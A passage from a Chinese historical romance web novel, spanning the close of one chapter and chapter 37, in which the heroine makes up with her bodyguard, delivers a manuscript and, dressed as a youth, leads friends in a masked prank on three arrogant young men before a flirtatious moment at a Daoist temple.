打趣得任郁青托着腰去打她,被她笑嘻嘻躲开,身影霎时旋去廊下,笑道:“嫂嫂放心,哥哥不在,我就暂且替他呵护好你,在家安心等着吧,我去去就回!” 七月流火,天边金灿灿的流光将金陵这片土地照得益发绚丽亮眼。 钱映仪坐在马车里,悄悄打帘瞧着驭马的背影,没半刻又猛然放下。 她就觉着不对劲! 好好一个侍卫,这几日时常这样,只管做她交代要办的事,却闷不吭声。哼,不理她,她不想理他呢! 他总有意无意避着自己,钱映仪早有察觉,总是忍不住在心里头想,是不是因男人都是如此?总是在稍稍得手后就开始玩弄女人! 是因她主动亲了他,他便不把她当回事了? 这个念头又浮现出来,钱映仪越想越是恨恨盯着缃色的车帘,打定主意要冷落他。 因此,马车行过半炷香抵达夫子庙时,车壁被轻轻叩响。待一停稳,钱映仪便自顾下了马车,连个眼风都不曾施舍给他。 秦离铮眨眨眼,忙拴了马车跟去。 钱映仪走两下就渐缓脚步,稍稍扭头,在余光瞧见他依旧跟在自己裙后时,心里又洋洋得意起来。 不过他无端端地待自己冷上三分,她是不会理他的。 捉裙进四福巷寻至梁途的铺面,钱映仪迎头竟撞上温宁岚,二人立时抱在一团,高兴得直跺脚。 钱映仪瞥眼看她身后只跟着一个丫鬟,又不由地把眉轻攒,“出来怎不多带两个人?” 温宁岚噙着一抹笑,嗓音又缓又柔,“哪儿需要那么多人跟着,我坐轿子来的呢,使轿子停在外头了,你不也只带个侍卫出来?” 她狡黠睐着钱映仪,把“侍卫”二字咬得偏重。 钱映仪立时想回头去瞧秦离铮,又硬生生忍住了,把话岔开,“岚岚,你也来这买糖水?” 温宁岚兜着帕子扭头往铺子里,声音留在原地,“是哩,这铺子我都光顾好几年囖。” 二人一前一后伏腰对坐,底下依旧是干干净净的长条凳。梁途拿巾子蒙着脸,笑道:“哟,真是稀客,今儿把您二位都给聚到一处了,幸得这时候铺子里没人,否则定要亮眼得逃出去。” 一来二去光顾过几回生意,钱映仪也知这梁途说话有时十分风趣,便笑嘻嘻要了三碗荔枝冰镇元子,自己与嫂嫂、姐姐各一份。 温宁岚喜酸,要了碗黄杏冰酪。 等待的间隙,那梁溪照又笑眯眯挤过来,一时摸一摸钱映仪的耳坠,一时摸一摸温宁岚的脸。 钱映仪方在此时察觉温宁岚眼眉间有些疲惫,忙问:“你怎么了?” 人便是这般,总抵抗不了旁人的关心。维持了半晌平静,温宁岚终于扇一扇湿润的浓睫,绞着帕子揩拭眼梢,便小声道:“还能因为什么,温卓南又来我房里砸了一通东西。” 说的是温太太生下的那一对龙凤胎里的儿子,她无半分血缘的继兄。 钱映仪早年便与这对龙凤胎不对付,听了把拳头一握,登时忿忿道:“他又欺负你?好个不要脸皮的货!你爹真就不管了?” 温宁岚苦笑,“我看似有爹,实际没有,他们看似没爹,实则有爹,我只有靠自己。” “你不知,温卓南从府学出来后,那脾气就越臭越硬,因连着两次都没能考上功名,动辄跑来我房中摔砸东西,我哪还有什么东西由他摔?这回,就把我养的一片茉莉花全给糟践了。” “我伤心,不是因他欺负我,是因那些茉莉。我不理他,他也自讨没趣,只可惜我的茉莉” 钱映仪猛然一捶四方桌,震得梁途扭头往这头看。她忙不迭又压低声音,咬着牙关道:“他就是畜牲一个,也只会欺负你了,我从前只觉得俞敏森讨厌,现下一比较,他也不遑多让!” 提及俞敏森的名头,梁途刮冰的动作一顿,眼色微闪。 只是这一点细微的变化被秦离铮敏锐捉住。 他没进铺子,靠在一旁躲凉。 眼风往梁途身上瞟了一眼,正逢梁溪照在那追问俞敏森是谁,他便问,“梁老板,溪溪已能背三百首唐诗,为何还不送她去开蒙?” 他轻垂着眼皮,仿佛只是随口一说,“毕竟,寻常人家的小孩到溪溪这个年纪,都已托人送去私塾了。” 梁途刮着冰,没立时搭腔。 半晌,才笑道:“嗐,我一人带她,又开着铺子,哪能天天得空准时去私塾接她?也不是没这想法,我检算着,待溪溪再大两岁,腿脚都灵泛了,我便送她去私塾,届时叫她下了课业自己回来。” 秦离铮细细咂摸他说的话,只暗道怕是在等梁溪照性子沉稳一些,梁途便盘算着带她离开金陵。 毕竟梁溪照现在十分贪玩,倘或离开途中被谁盯上 ,又要引来不少麻烦,能不能保住一条命都难说。 秦离铮望向梁溪照那小小的背影,目光掠至钱映仪的脸,四目在半空相触片刻,复又挪开,他敛神收回眼,又道:“溪溪很爱交朋友。” 他只好隐晦提醒梁途,与梁溪照一同耍的一班小朋友都在金陵,梁溪照不见得会乖顺跟着他离开金陵。 “是啊,她朋友很多。”稍刻,梁途也回身凝视梁溪照一眼,目色柔和,仿佛他真是个寻常的普通人家,有这样一个调皮伶俐的女儿在膝下承欢。 他不预备再说什么,正巧糖水也已备好。便把钱映仪与温宁岚的那两份都包好递去。 梁溪照这头还在说,“哦!这个俞什么森就是溪溪先前在府学见过的那个坏哥哥!” 她拍拍手,爬上长条凳晃腿,张口便来:“我听了半日没听太明白,但我晓得这两人都不是什么好人,凭他是谁,届时我做大官,把他二人都收了去!” 说得钱映仪忙去捂她的嘴,小声警告,“嘘,这话可不能乱讲。” 梁溪照不过普通老百姓,大谈要收了官宦子弟,这如何使得?叫人听去了,只恐招来麻烦。 临了想着嫂嫂在家中等着,见温宁岚也起身欲离去,钱映仪便道:“岚岚,别太伤心,花还会再开的,别叫我在外头碰见温卓南,否则,我定是要使人套了麻袋蒙头打他一顿替你出气的。” 说得温宁岚笑了下,出了铺子便挥着帕子朝她摆一摆手,只说叫她先回去。 钱映仪把下颌轻点,望她的背影片刻,继而扭头往来时的路上走。 不防手中一松,食盒被一只手蓦然夺走,她却好似寻常,拍拍手,也不转脸去瞧,自顾把他丢在身后,没几时钻进了马车。 一路缄默归家,钱映仪又把那食盒夺回来,踢着裙摆挨个往嫂嫂与姐姐的院子里去,待到黄昏落日时,一齐往花厅用了晚膳,她才懒洋洋摇着扇转回云滕阁。 天将暗未暗时,她已梳洗完毕。裹了件桃红色葡萄纹披风在肩头,黑缎子般的发尾还洇润着。 又将屋子里那盏明角灯的灯芯剪了。 继而行至门前,将门窗挨个落锁,掣着一把圆杌对着西窗独坐,唇畔噙着一抹冷笑。她晓得,他下晌来夺她手里的东西,分明是想与她说话,她那时都听见了他吸气的声音。 她半日不与他说话,就不信他夜里不来。待他来了,她偏不让他进来,也好叫他分清主次,莫要小瞧了她钱映仪! 倘或他来,她打定主意要问一问。问他到底是不是把放在她身上的心思撤走了一半,若被她察觉出端倪,即使即使她或许会哭,她也要赶他走。 钱映仪伏腰在椅上坐了半晌,待正屋四周都静悄悄的,终于见眼前的窗纸后蓦然浮现一抹高大的影子。 她盯着那道身影不眨眼,也要叫他知晓自己在窗的这一头,便冷不丁道:“我有话问你。” 秦离铮多警惕的一个人?来时就听见了她自持冷静的呼吸声,抬手把窗推一推,果真阖得死死的。 他生出些无奈,反手往腰间掏出一把匕首横插进窗缝,使劲往上一顶,便轻巧打开了这扇窗。 钱映仪见他还敢强行进来,登时气不打一处来,拔座起身扭头就走。 没走两步被他拦住。她退一小步,他就前行一大步,秦离铮目光在她脸上游移,半晌,逼至墙边,低眉凝视着她,“因为什么不理我?” “不理你?”钱映仪偏脸不去瞧他,鼻腔里哼出个笑,“究竟谁不理谁?正好你来了,我有话要问你,你是不是对我没” 话音未落,下巴被掐得抬高,唇被堵了堵。 好在不过片刻他就松开了。 钱映仪气得瞪他,狠狠一踩他的脚,双手使劲推开他就逃开。 不防被他背后兜揽住,坚。硬的手臂捆在她的小腹前,低沉沉的嗓音里带着点干涩,响在耳畔,“先回答我,今日为什么不理我?” 钱映仪瘪一瘪唇,在他怀里挣来挣去,说话颇有些阴阳怪气,“我不是同你说了?是谁不理谁?哦,难不成前两日躲着我的那人不是你?你既过来,我正好也把话与你说清,我不懂你在躲什么,但倘或是因我主动亲了亲你,你就得意忘形了,觉得我不大要紧了,那你就赶紧收拾东西滚远点,我不受你这个” “嘶,你松开我,想把我勒死?” 秦离铮把她单薄的身子愈抱愈紧,他比她高出不少,弯腰困着她时,滚烫的体温像要尽数坠在她身上。 半晌,他的嗓音在岑寂寂的屋子里响起,喧出一股无奈,“不是我在躲你,我这样,你能明白吗?” 怎样?钱映仪把眉轻攒,刚要启声质问,身形顿时僵住,不由自主垂下视线去搜检他常随身佩戴的剑。 发觉左右都没有,钱映仪方醒过神。是了,他往她屋子里来,一惯是两手空空,那她背后像被剑鞘硌着 她有些恼羞成怒,挣得愈发厉害。 不巧他也越揽越紧,“我都这样了,还不够明显吗?我不是要躲你,我是心生愧疚,这几日,我没办法控制自己。” 秦离铮哄人时有些生硬,察觉到她渐渐松缓下来,便也松开了她。握着她的肩转过来,俯身在她额心亲一亲,“别生气,是我不好,我怎么可能觉得你不要紧?” 钱映仪被他说得发蒙,垂着脑袋咀嚼着他话里的意思。 这话并不算含蓄,即便他们之间有过亲吻,甚至有过同床共枕,可他从未在她面前正视过自己,此刻把话一说开 钱映仪始终低着脑袋,目光在他腰上打转,像在瞧那里,又像只是在出神。 她拖着不讲话,久到秦离铮有些慌神,要俯身去瞧她时,冷不丁就“噗嗤”一声笑出来。 秦离铮稍有惊愕,目色隐含小心翼翼。 钱映仪却越笑越高兴,一半为胡思乱想给他乱扣罪名而忍俊不禁,一半为她自己。 是的,只为她自己。她小小的一颗心很容易被填满,也时常会有缺口。 她高兴于——他的反应会令她为自己感到自豪骄傲,在男人与女人之间,她占据了主位。 她是个小小女子,却习惯把自己的感受放在最紧要的位置上。 就在方才,她还在犹豫不决,为自己或许要流眼泪而感到一丝丝悲伤,为自己是不是变了个人而担忧,现下她又从摇摆不定的挣扎里跳了出来。哦,原来她还是从前那个钱映仪!她没有因谁变得优柔寡断,他瞧着是在躲她,实则是避开他自己。 这股高兴使她抬起头来,透过灯火去瞧秦离铮。 看着他望向自己的眼神,小心翼翼,怀揣着爱意,她在两者之间拆出了最直白的欲。 她蓦然想在此刻也直白点,什么该羞的,不该羞的,统统先抛去一边吧。她也有不高兴,她的不高兴源自于他,所以她要报复回去。 因此,钱映仪渐渐敛了笑,换了副稍显意味深长的神情,指尖勾住秦离铮的皮革腰带,拉着他往后退,声音很轻,“你就这么认定我听得明白你说的话?” 秦离铮被她带离原地,脚踩在她投射在地面的影子两侧,身躯把她的影子包裹住,被她简单一个动作拉得眼神稍变。 直至退到案前,钱映仪便停住脚步,手轻轻搭上他的肩,“我若听不明白,你打算怎么办?” 秦离铮自认过往几年在锦衣卫里摸爬滚打,心性已十分坚定。经她两个动作一拽,他觉得自己开始有些神志不清。 便放任自己将她一把抱在案上放着,带着浑身热气就靠近了,“你既听得明白,还要我做什么?你不避讳?” 钱映仪坠进他渐渐变味的眼神里,在彼此都清醒的此刻,蓦然主动勾上他的脖子,悄声贴近他的耳畔,“其实,我都知道。” 秦离铮喉结滚了滚,“知道什么?” “我知道,那夜我喝了不少酒,”她声音很轻,刮在耳畔酥酥麻麻,“我还知道,我亲你时,你大概 是个什么反应。” 秦离铮不由自主把她悬抱起来,俯身要去衔她的唇。 钱映仪却脑袋一偏,目光里闪着狡黠,“我更知道,你就是因控制不了自己就故意躲着我,即便你与我说明白了,我还是觉得你不考虑我,我很生气,所以我要罚你。” 她命道:“去窗边,放我下来。” 秦离铮抱着她又倒转回去。 双脚稳稳落地后,钱映仪借着皎洁的月色窥视他益发红透的耳朵,心念转了转,便踮起脚尖往他唇畔“啵”地亲了下。 “走吧,”她道:“我在生气,你不许出现在我面前。” 月光映得她的一双眼亮晶晶的,“记得我们的约法三章,我叫你往东,你不许往西,就罚你今夜早些回去睡。” “早些回去睡”几个字,在她口齿里咬得格外重。 旋即推他翻窗而出,毫不留情地阖紧了窗。 蝉蛙交鸣,月色浮在秦离铮的肩头。他的脸上渐渐浮现出错愕神情,继而是莞尔轻笑。 他还暗道她怎地霎时间如此直白,果真还是小瞧了她,兜兜转转撩拨一圈,原来故意在这等着他。 故意罚他因那些隐秘心思而惹她不高兴,故意罚他看得见够不着,故意罚他今夜“好好睡”,他怎么可能睡得着? 他独站原地片刻,盯着面前这扇窗,好似要撕开窗纸追寻她在屋子里的身影。 俄延半晌,蓦然笑了。 她还肯与他亲近就好。她像片靡丽绝艳的繁花,于她而言是惩罚,于他而言,却是赐予。 赐予他——终于能够不再在她面前遮遮掩掩的权利,终于能够不用再怕那股愧疚感再席卷回来,扼杀了他—— 作者有话说:[好的]映仪高兴起来就这么钓着秦离铮,秦离铮也被钓得高兴,心想:好耶,目前对自己来说最难攻克的一关过去咯。 衔接上一章的剧情,他虽然帮了她,但心底里是担心她会因此这个讨厌自己的~ 而映仪从一开始就不是循规蹈矩的人~ 等着吧,这层纱快掉了。 第37章 鸟飞千白点,日没半红轮。一晃过去两日,傍晚霞色正烧红半边天。夏菱自外头匆匆进来,跨个盛满花枝的篮子,在廊下振一振裙边花瓣,方扭头进了正屋。 不一时,身影转去东窗一角,放低了嗓音,“小姐,陈老板约见。” 钱映仪自案前抬起脸,手中握着笔,月眉轻蹙,掂度片刻,问,“是来催我交故事的?” 这印宝阁的东家陈潮向来是个急性子,荷包越胀,他就越想大捞一笔。 因明年春试将至,整个江南有不少年轻小官人正铆足了劲日夜苦读,连风里仿佛都带着一丝水墨香。 也正因读得太费劲,难免也要放松一番。故而话本子这类无需细究的册子,便成了小官人们闲暇时的消遣。 年关时印的那《滩水鬼记》已不再新鲜,于是陈潮心急之下又来催促钱映仪。 赶巧钱映仪这时正收着尾,问过一句便没当回事,继而将目光落在纸上。 夏菱轻轻凑过去,歪着脑袋一瞧,“哟,贵人家的公子看上人家小姐,是为了小姐父亲手中的兵权?欲下药迷之咦?这小姐被鬼占据了身子?” 钱映仪笑嘻嘻点着下颌,“是呢,到了晚上就会化形,在善人眼里,她依旧是貌美如花,在那恶人眼里嘛,自然是形容可怖了,眼珠子都挂在脸上。” “哎唷,我正烦着呢,”她跺一跺脚,“夏菱,你先去外头待着,陈老板的事,我晚些给你答复。” 夏菱应声,旋裙往外去。 不防又被钱映仪给叫住,“等会儿,你把阿铮叫来。” “阿铮”这两个字,在她口中已益发熟稔。不知何时起,她已鲜少去唤旁人,除了偶尔唤一唤夏菱,余下便是阿铮。 譬如这两日,夏菱就时常听她说—— “阿铮,我想吃些甜的,你买来我吃。” “阿铮,秋千上的花该换一换啦。” “阿铮,你会削木偶吗,我想要一个。” 左一个阿铮,右一个阿铮,好像天地万物里只剩下他。 夏菱鼻翼翕动,无声笑笑,“晓得了。” 她走后,钱映仪搁下笔,把纸张稍稍叠一叠,仰脸往后靠,背欹在梨花椅上。只是轻攒的眉头始终没抹平,直至窗前一抹身影低下,“皱着眉头,在想什么?” 闻言,她掀开眼,眸色烁烁泛着闪耀的光,“阿铮!” 秦离铮懒洋洋应她,“嗯?” 目光相触,他眼梢微挑,只盯着她瞧。前两日那无端端的“生气”早已翻篇,钱映仪的脸惯性红一红,摸了案边一盏茶饮了一口,像是随口问道:“我问你,什么死法最残忍?” 秦离铮一怔,眼神往她身前的纸张上飘,片刻就恍然。 想必小红豆又在撰写什么新故事,却因那故事里的角色死得不够折磨而陷入纠结,这才来向他“请教”。 他佯装不知,“唔”了一声,抛给她几个选择,“头身分离,长刀贯穿胸口,野禽分食?” 钱映仪听了仍觉得不满意,“我觉着不行,太痛快了。” 岂知秦离铮霎时沉脸,眉梢眼角勾起阴鸷,顶着一张脸贴近,嗓音往下坠,像扎了钱映仪一下,“那便灌下特质的药,寻把锋利的刀,一点一点剥皮。” 钱映仪呆了呆,猛地打个哆嗦,“噫,你吓着我了。” 秦离铮振出两声笑,对上她的眼,倏转回晦暗又柔和的眼神,把她额心戳一戳,“不是说不够残忍?我这是在配合你。” 钱映仪捂额轻瞪他,嗔骂两句,命他先去外头,“你去等我,晚些时候我想出去一趟。” 待他一走,钱映仪忙蘸墨落笔,倒没采纳他那剥皮的建议,反倒有了更好的盘算。 待纱窗渐铺月色,钱映仪蓦然取来一个四四方方的锦盒,把那堆纸稿一并装进去,旋即对镜照一照自己,一径往院子外头去寻秦离铮。 钱映仪不似一些性情内敛的姑娘,只顾闷在家里打打络子,念念书。铁了心要出门,便是黑漆漆的夜也阻拦不住她。 对于她出门的目的,秦离铮向来是不多问,只默然跟在她身后做个守护者。 这一回依旧如此,月牙悬在半空,像一只神来之笔在天际勾了一记,继而洒下迷光清辉。二人一前一后穿廊过,正走到垂花门,不防碰上个气鼓鼓的少年。 打眼一瞧,原来是休假归家的钱其羽! 只见他板着一张俊俏隽逸的脸,眼睑下浮着一抹淡红,手里还抓着一捆长长的彩绦。这厢撞见钱映仪,他倒是稍缓神情,忙追问,“阿姐要出去?” 钱映仪眼波落向他手中的彩绦。 钱其羽瘪着唇,忿忿甩了甩它们,“归家时,我好好一个人走在路上呢,不知打哪跑出十几个十三四岁的小姑娘,见了我就把这些东西往我身上扔,真烦!” 盯着他手里的东西,钱映仪后知后觉扭头窥了眼秦离铮,复又转回来问,“你刚从外头回来,外头是不是尤其热闹?” 她险些忘了,今番已是七月初五,乞巧将至。 钱其羽满脑子走鸡斗狗,不是个早早就开窍的少年郎,便把下颌点一点,“是啊,我瞧着是比往常热闹不少。” 钱映仪最喜的便是热闹,刹那就舒展眼角眉梢,心念一转,上前两步,朝钱其羽挤眉弄眼道:“我记得二婶婶几年前替你裁了不少杏黄色的袍子,你那时还小,不喜穿这样的颜色,说像姑娘家穿的,那袍子可还在?回去拿件新的来。” 言下之意,便是今夜要女扮男装出去耍一耍了。 听她要出去玩,钱其羽立时来了兴致,“我也要去!阿姐随我来,我这就翻出来与你!” 钱映仪兴冲冲跟过去,取过袍子又旋裙往云滕阁走。 走到一处长满青草的墙根下,忽然想到答应过秦离铮的那两个要求,便回身仰脸望他,扇着卷翘的睫毛,嗓音软软的,“我拿了人家的袍子,不好不带上他,破例一次,好不好?” 见秦离铮抱着手不讲话,她便悄悄轻掣他的胳膊,“嗯?” 说话时眼波烁烁停在秦离铮的脸上,秦离铮被那一双眼睛拂得心神微荡,情思像墙头疯长的青草,饱胀在他心头。 他终于点头妥协,学着她的语气拖一拖尾调,“好。” 钱映仪笑嘻嘻拢着袍子跑回云滕阁,没几时,正屋里转出个唇红齿白的少年。 穿着杏黄色的葡萄纹圆领袍,乌发高束,未佩冠,寻一条与袍同色的发带紧紧缠着,细细的一把腰上挂着香囊与折扇,好不意气风发。 钱其羽这时候也赶来,换了身崭新的袍子,隔老远就朝她摆手,“阿姐!快走!” 赶巧小玳瑁窜出来,身后跟着羞怯怯的春棠,“小姐,少爷,你们也要出去?” 钱其羽也知他与春棠的婚期已定下,木怔怔的那颗脑袋在这时才回过神来,想 起过两日便是乞巧,孤家寡人反倒打趣起一对鸳鸯来,“哟,您二位也相约好了?” 小玳瑁嘿嘿一笑,牵起春棠的手。 钱其羽笑着把眼皮子往上翻了翻,到底少年心性,左右环扫一圈,握个拳落在掌心,提议道:“干脆咱们一起走!” 钱映仪一顿,讪笑望向秦离铮。 因有人在,二人隔得不算近。秦离铮唇畔那抹似笑非笑荡漾着,没讲话,眼波却隐含一抹别的情绪。 钱映仪陡地心虚起来。 “好!我觉着也是,人多热闹嘛!”这厢小玳瑁已然应下。 春棠既出了府,单单丢下个夏菱也不妥当,于是再出门时,好端端的一对人影变作三对。 马车驶过通济桥,行至七里街。远远撩帘见着印宝阁亮着几盏红纱灯笼,钱映仪忙拍一拍车壁,待车停稳便跳下马车,使几个男人在原地等,笑吟吟道:“少爷我去看看话本子,一刻钟出来。” 转而领着两个丫鬟转背离去,穿过小半截石子路,进了印宝阁的门。 那东家陈潮正歪在雅间的榻上数着银子,听底下的伙计通报,忙一推矮几,踩鞋下榻,使伙计把人给请进来。 一见钱映仪,便笑道:“大半年不见,钱小姐还是人比花娇,芙蓉玉面,貌美如” “停,”钱映仪摆手制止他奉承,命夏菱奉上锦盒,“今番我正好得空,您先看一眼,倘或有哪处觉得不太妥当的,只管使人来寻我身边的夏菱。” “哎唷,小姐这是说的什么话,”陈潮嗔怪道:“咱们做交易这么多年,我难道还信不过小姐囖?” 旋即唤身边伺候的小厮捧上个钱袋,“赶巧您亲临,这是这月的分红,还请收下。” 那《滩水鬼记》使他饱赚一笔,那副精明算计的模样便收敛许多,好似整个人都大方不少。 钱映仪把眉轻挑,自然不与他客气,想及外头还有人在等着,便把那钱袋收下,继而与陈潮告辞。 主仆三个踩着木梯往下走,方一跨出印宝阁的门槛,自眼前走过三道身影,个个打扮得富贵,定睛一瞧,是那温卓南与俞敏森,另一个稍慢几步落在后头的,竟是许久未见过的吴念笙! 怪哉,这三个是如何凑到一处的? 钱映仪想起温宁岚那张隐忍委屈的脸,肚子里登时浮起一滩坏水,远远瞧秦离铮在这条街的对面看着自己,忙拔脚向他跑去。 旋即拉着他就欲追那三人,“快,替我去揍几个人!” 钱其羽顺着她手指的方向一瞧,好啊!原本素日里他就瞧不惯俞敏森,立即摩拳擦掌,只等一股脑冲上前把他一通好打,也不问个缘由,“好啊!又碰上这冤家,我也去!” 未行几步被夏菱兜住胳膊,忙劝,“哎唷,少爷,小姐都还没走呢,你火急火燎的做哪样?” 钱其羽方转着眼睛去瞧钱映仪。 星辰交映,人间梦幻,今夜有数不清的人头聚在淮河两岸,不远处的戏楼里隐听戏腔游荡。钱映仪盯着那头,倒不急了,朝几人招一招手,围成个圈。 她先把温宁岚受欺负一事交代清楚,又道:“瞧他们穿得人模狗样,像是来河边取乐,咱们去戏耍他们一番。” 于是,几人丢开马车,寻了个伙计来看顾,便装得一本正经往人群里走,远远跟着那三人,路过一处卖面具的摊位时,顺手买了面具遮住面容。 这厢俞敏森跟在温卓南身后缓行,冷眼觑他,眼梢里依旧流露出不屑,不耐道:“温卓南,你到底打的什么鬼主意,本世子说要寻个酒肆,你说没意思,要带本世子瞧点新鲜的,怎地,走了半截路了,还没到?” 三人本不是同行。 俞敏森因断腿而往府学告了长假,这段时日躺在王府养伤,由做王妃的娘仔仔细细呵护着,双腿早已好全。 今番得以出来便是想约郭月一见。 半路却碰上这温卓南,身后还跟着个吴念笙。 他虽比温卓南小了三四岁,却仗着世子的身份,从不将他放在眼里。本也没想与他多说几句话,怎料温卓南一通歪缠与奉承,他十分受用,转眼便撇下王府侍卫与其同行。 至于吴念笙么,他更是瞧不上。只是今日出来透气,尚且还称得上是心情舒畅,便也没在意。 听温卓南说要玩点刺激的东西,他一时来了点兴致,便跟了过来。 三人朝着通济门的方向一径行走,约莫半刻钟,温卓南脚尖一转,引着二人进了条狭窄的小巷。 温卓南笑,“快到了,保管你们觉得够新鲜,旁人我还不说呢。” 那吴念笙一改在钱映仪面前时的羞赧,眼底布满轻浮之色,半开玩笑道:“卓南哥,我从没听谁说起过你钟意哪家小姐,莫不是你金屋藏娇,在外头养了几个?” 温卓南哼出一声不屑,“戏子伶人有什么意思?” 眼瞧他脚步渐缓,分巷口忽现二男二女,慢吞吞挡住了三人的去路。 一个穿着墨绿色的直裰,站姿歪歪扭扭,一个穿杏黄色的袍子,折扇轻揺。两女则梳着斜斜一条伶俐的三股辫,掷个匕首在掌心把玩。 俞敏森五脏六腑淤着火气,泼口就骂:“哪来的不长眼的东西,敢拦小爷的路?” 温卓南神情有变,也道:“不知几位是谁,还请让一让。” 面具后是钱映仪那双清透似水的眼睛,她玩心大起,压低嗓音道:“哟,几位不认得我们?还敢从我们的地盘上过?” “我瞧你们穿着富贵体面,要想从此过,留下银钱便是。”她招一招手,向三人摊开掌心。 俞敏森怒瞪她,骂道:“我呸!好不要脸,打劫打到小爷头上来?你可知我是谁?” “管你是谁!”钱其羽亦掐着嗓音挑衅,“快些把银钱交出来,否则便叫你们尝尝我们江湖人称——金陵一指笑的名号!” 吴念笙蹙眉,“金陵一指笑?” 钱映仪笑晃折扇,“可不是,鄙人自幼习武,混迹江湖已久,因世风日下,江湖不大好混,才做些没那么体面的活计,几位倘或不信,尽可来试一试,我就站在此处不动,仅凭内里一弹,就可将你们三人撂倒在地,你们哭,嘿嘿,我就笑了。” 但说这吴念笙被她唬得一愣,正细细思忖,那俞敏森却不信此等胡话,四下睃寻一眼,捡了半截木棍握在手里,一把搡开他就朝钱映仪冲去,“凭你什么一指笑,小爷先把你给打了,你只管一棒哭去!” 他气汹汹朝着钱映仪冲去,不一时就跑至钱映仪身前,木棍一扬,立时就要将她一顿好打! 钱映仪歪着脸冲他阴恻恻笑了两下,手轻轻一抬—— “砰”的一声,俞敏森像给什么东西击中肩头,身子腾空往后倒退三丈远,倒地时十分狼狈。 “”吴念笙哪敢不信,咬牙望向钱映仪,“你说的是真的。” 钱其羽刹那轻狂起来,口里喊着,“现下晓得我们的厉害了?还不把过路费交出来!否则,小爷这就打得你们求爷爷告奶奶!以后再不敢往这儿来!” 俞敏森疼得龇牙咧嘴,不信就有这般巧! 他硬生生逼着温卓南与吴念笙都捡了根长棍,嚷道:“别信他们这一套装神弄鬼的说辞,区区几个贱民,敢抢到我头上来,趁早把他们打走!别逼得我火气冲上来,回去了连你们一起收拾!” 温卓南今番本是预备讨好俞敏森与吴念笙,只因听娘打听来的消息说,瑞王妃的弟弟与吴念笙的爹是明年贡院的考官。 他已不预备再亲自登场科考, 暗自盘算起届时重金寻一位有才气却穷困的落魄人士替考。 此时与二人打好关系,多少利大于弊。 因此,即使他信这金陵一指笑的能耐,也不得不抄起木棍,铆足了劲就奔去。 可惜,这回他们被击得更惨烈,歪歪扭扭倒在地上,吴念笙甚至在吃痛下崴了脚,一把将好容易爬起来的俞敏森又给扑倒! 钱映仪乐得前仆后仰,直与钱其羽一起痛快跺脚,旋即朝两个丫鬟使眼色。 春棠与夏菱立时上前,往腰间掏出麻绳,拿匕首割离出细细的长条,粗的把三人捆在一处,细的捆住手脚。 尤其春棠力气大得出奇,那俞敏森还想反抗,被她一巴掌挥偏脑袋。 想着吴念笙从前总缠着小姐,也握拳猛然在他脑袋上一敲! 夏菱虽头一回跟着做这样的勾当,心中怯怯,但想及自己戴了面具,也不由地高扬下颌,把麻绳打了个死结,潇洒一伸手去解三人腰间的荷包,低声警告,“记住我们的名号,这荷包难看死了,银子我们就先拾走了!” 两个丫鬟转而往钱映仪那头去。 钱映仪高扬着小巧的下颌,远远冲三人喊,“你们在此等人来救吧,江湖不见!” 四人正拐进分巷,不防听见身后暴喊一声,“东城兵马司的人?嗳!快给本世子滚过来,有人劫了本世子的银钱逃了,给本世子追回来!” 这时候正热闹,时有东城兵马司的人在街上巡查治安。 “轰——” 因乞巧将至,淮河两岸点了烟火,浩瀚天空霎时绽开火树银花,巷外是沸欢人声,欢声笑语喧闹至极。 四人短暂顿足片刻,蓦然相视一笑,一揭面具,把三个倒霉鬼的咒骂与轰闹杂乱的追逐声尽数抛在身后,“分开跑!” 小玳瑁身形落地把春棠一把揽走。 钱其羽与夏菱跑向另一头。 钱映仪奋力跑出分巷口,一眼望见秦离铮从天而降,她一把抓住他的手,笑意从未如此灿烂耀眼过,“阿铮,和我一起逃命囖!” 这么一拉,二人就冲进喧阗里。长空星河灿烂,人间聚首沸腾,浮现在整座金陵城上空的花火宏大繁盛,钱映仪却只顾拉着他往前跑。 跑着跑着,跑到一处僻静之地,钱映仪气吁吁伏腰,掀眼一扫量,抖着肩笑,“居然到玄真观了!咱们跑得真远!” 这时候自道观里走出几个十五六岁的小姑娘,结伴同行,臂弯里各自躺着几条彩绦。 因年纪尚小的缘故,只爱秀气斯文的俊俏小官人,错把钱映仪当作少年,大大方方就把彩绦扔进了钱映仪的怀里。 旋即笑作一团,乐呵呵捉裙走了。 钱映仪一怔,也跟着哈哈大笑,把彩绦绕在脖子上,得意洋洋,“看来叫我做个意气风发的少年郎,也是惹人喜爱的!” 秦离铮静等她平缓下来,问,“道观,进去看看?” 钱映仪轻点下颌,“好。” 这厢正得意轻笑,手霎时被裹紧,身畔这人轻轻一拉,她就被带离原地。 进了玄真观,一股香火气扑面而来。道观向来岑寂,往正殿拜过真人,一并投掷了不少香油钱,钱映仪的手仍被紧紧握着。 她试着抽一抽,小声道:“不好吧,这里可是真人眼皮子底下,怎好把这些给真人瞧?” 秦离铮没松开她,反倒问,“戏弄过他们,你高不高兴?” “高兴啊”钱映仪挣不过就由他去了,二人顺着廊庑一径往偏殿走,她唇畔浮着笑,有些意犹未尽,“真是痛快,一回收拾了三个!” 话毕,偏殿将至。谁知秦离铮蓦然一拐脚步,拉着她穿过一条狭窄的小道,行至一处偏僻无人的角落。 明月推开云层,如妆镜照下。秦离铮两臂把她困在墙根,借着点月光瞧她,“我不高兴。” 钱映仪低呼一声,仰脸凝视他。他为何不高兴,她很明白,因此背欹着墙没动,向他眨眨眼,“你答应过的,下不为例嘛。” 两人躲在昏沉沉的角落里,外头是小道士走来走去的脚步声,钱映仪有些心慌。 见他不讲话,只顾拿那双晦暗又火热的眼睛盯着自己,她抬手推一推他,“你让一让。” 秦离铮哼笑一声,埋首贴在她的肩颈,两臂搂紧她,“先哄哄我。” “你哄一哄,我就高兴了。” 钱映仪仰起脸,感受他喷在自己颈间的呼吸,像个暖烘烘的漩涡,拉着她往里跌。 她便也放纵自己,歪过脑袋往他脸上亲了下。 “够了吗?” 这一下叫秦离铮把她兜抱得愈发紧,她单薄的身子贴在他的怀里,愈加发软。 俄延半晌,秦离铮方松了手,却依旧困着她,俯首贴近她,连嗓音都拖着一丝蛊惑与潮热,“你觉得我这么好满足吗?” 自打那夜说开,他还是头一回与她离得这么近。钱映仪心突突跳了两下,把脸垂下,“说话做什么变得这样直白” 秦离铮拨起她的下颌,唇畔凝着笑,吐息里带着不加掩饰的东西,“直白点,你更喜欢,是不是?” 钱映仪被他兜揽着的身子轻轻一颤,抬手去推他,力道软绵绵的,“哎呀你不要再说了,松开我,让人瞧见都要羞死了,不是还要在观内走一走嘛。” 秦离铮低垂着眼,鼻尖已蹭过她的脸,“不要骗自己,你的腿还有力气走?” 四目相对,不知是谁先动了动。 